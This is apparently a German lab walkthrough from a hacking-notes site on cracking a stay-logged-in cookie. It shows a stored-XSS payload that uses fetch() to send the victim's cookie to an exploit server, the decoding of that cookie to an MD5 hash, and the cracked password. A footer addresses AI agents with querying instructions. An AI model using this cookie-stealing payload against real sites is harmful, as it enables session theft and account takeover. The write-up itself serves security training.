> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/authentication/offline-password-cracking.md).

# Offline-Passwortknacken

### Offline-Passwortknacken

Dieses Lab speichert ein **Passwort in einem Cookie**. Außerdem weist die Kommentarfunktion eine **XSS** Schwachstelle auf. / Ziel: das **carlos** Stay-logged-in-Cookie zu erhalten, sein Offline-Passwort zu knacken und sich dann als dieser anzumelden, um sein Konto zu löschen.

**Bereitgestellte Zugangsdaten:**

* wiener : peter/ **Opfer :** carlos

<figure><img src="/files/114e6d54d0a72a3b7c9608183a236c72b6d7e040" alt=""><figcaption></figcaption></figure>

### 2. Wie das *stay-logged-in* Cookie funktioniert

Wenn „angemeldet bleiben“ aktiviert ist, enthält die gesendete Anfrage:

```bash
username=wiener&password=peter&stay-logged-in=on
```

Der Server gibt dann ein **stay-logged-in** Cookie, kodiert in **Base64**:

Dekodierung →

```bash
d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw
```

* wiener:51dc30ddc473d43a6011e9ebba6ca770

<figure><img src="/files/7d686eb8fa53cb5f863de3c45eb2031c36a057b7" alt=""><figcaption></figcaption></figure>

Das folgende Diagramm wird daher verwendet:

<figure><img src="/files/3d8bcca50da943a78fae0262b43b2ca8c238496c" alt=""><figcaption></figcaption></figure>

### 3. Offline-Knackversuch mit Intruder

In Burp kannst du eine Nutzlast erstellen mit:

1. \*\*MD5-Passwortumwandlung\*\*

<figure><img src="/files/e02d5a77a9f1efeb99daa03ce619579453f7ef83" alt="" width="548"><figcaption></figcaption></figure>

* \*\*Mit Präfix

<figure><img src="/files/9bf699de9eacca99fbe8c5e549ade867e490313c" alt="" width="563"><figcaption></figcaption></figure>

1. **Den gesamten Wert in Base64 kodieren**

<figure><img src="/files/179c040d9216c6eaa10d927798dc9314dba8508a" alt="" width="563"><figcaption></figcaption></figure>

Dann ein Wörterbuch ausprobieren.

<figure><img src="/files/77fbb76b58ba9a074a947ca664412a5a0068a381" alt=""><figcaption></figcaption></figure>

→ Keine eindeutigen Ergebnisse.

<figure><img src="/files/b81e662671ee0d118a835b22c6a62b8ec80e2c79" alt=""><figcaption></figcaption></figure>

### 4. Ausnutzung der XSS-Schwachstelle in den Kommentaren

Das Kommentarfeld ist anfällig für JavaScript:

```javascript
<script>
   alert(0)
</script>
```

<figure><img src="/files/c9b448b42f2908daae6fcc45060f2b968ca1609c" alt=""><figcaption></figcaption></figure>

So können wir Cookies über einen Fetch auslesen:

```javascript
<script>
   fetch("https://exploit-0a180072041825ef80c502b6013c00ef.exploit-server.net/exploit?cookie=" + btoa(document.cookie));
</script>
```

<figure><img src="/files/3fa8e116a0b7915fd933decab3b0abf681c76f64" alt=""><figcaption></figcaption></figure>

Die Anfrage geht an unseren Exploit-Server.

<figure><img src="/files/d71311eda0bb2d4ffa96f2d81c598fcece917327" alt=""><figcaption></figcaption></figure>

### 5. Wiederherstellung und Dekodierung von Carlos’ Cookie

Abgefangenes Cookie (Base64):

```bash
c2VjcmV0PXY2UE5LWnJ3czNYSmFNVWtaU09wOWJRbGRCVUVlQnhLOyBzdGF5LWxvZ2dlZC1pbj1ZMkZ5Ykc5ek9qSTJNekl6WXpFMlpEVm1OR1JoWW1abU0ySmlNVE0yWmpJME5qQmhPVFF6
```

Dekodierung →

* carlos:26323c16d5f4dabff3bb136f2460a943

<figure><img src="/files/f18bae243072ca62bec865d4b9de62ed5301cf1f" alt=""><figcaption></figcaption></figure>

### 6. Passwortknacken

Nachdem der Hash an CrackStation gesendet wurde, liefert er:

### 7. Finalisierung

Verbindung mit:

<figure><img src="/files/d2889a0d3ef959256eb967c05a98724821323ef4" alt=""><figcaption></figcaption></figure>

**carlos : onceuponatime**

<figure><img src="/files/ae630738a7db33f6af7361bd6af6090d7fcaba64" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/authentication/offline-password-cracking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
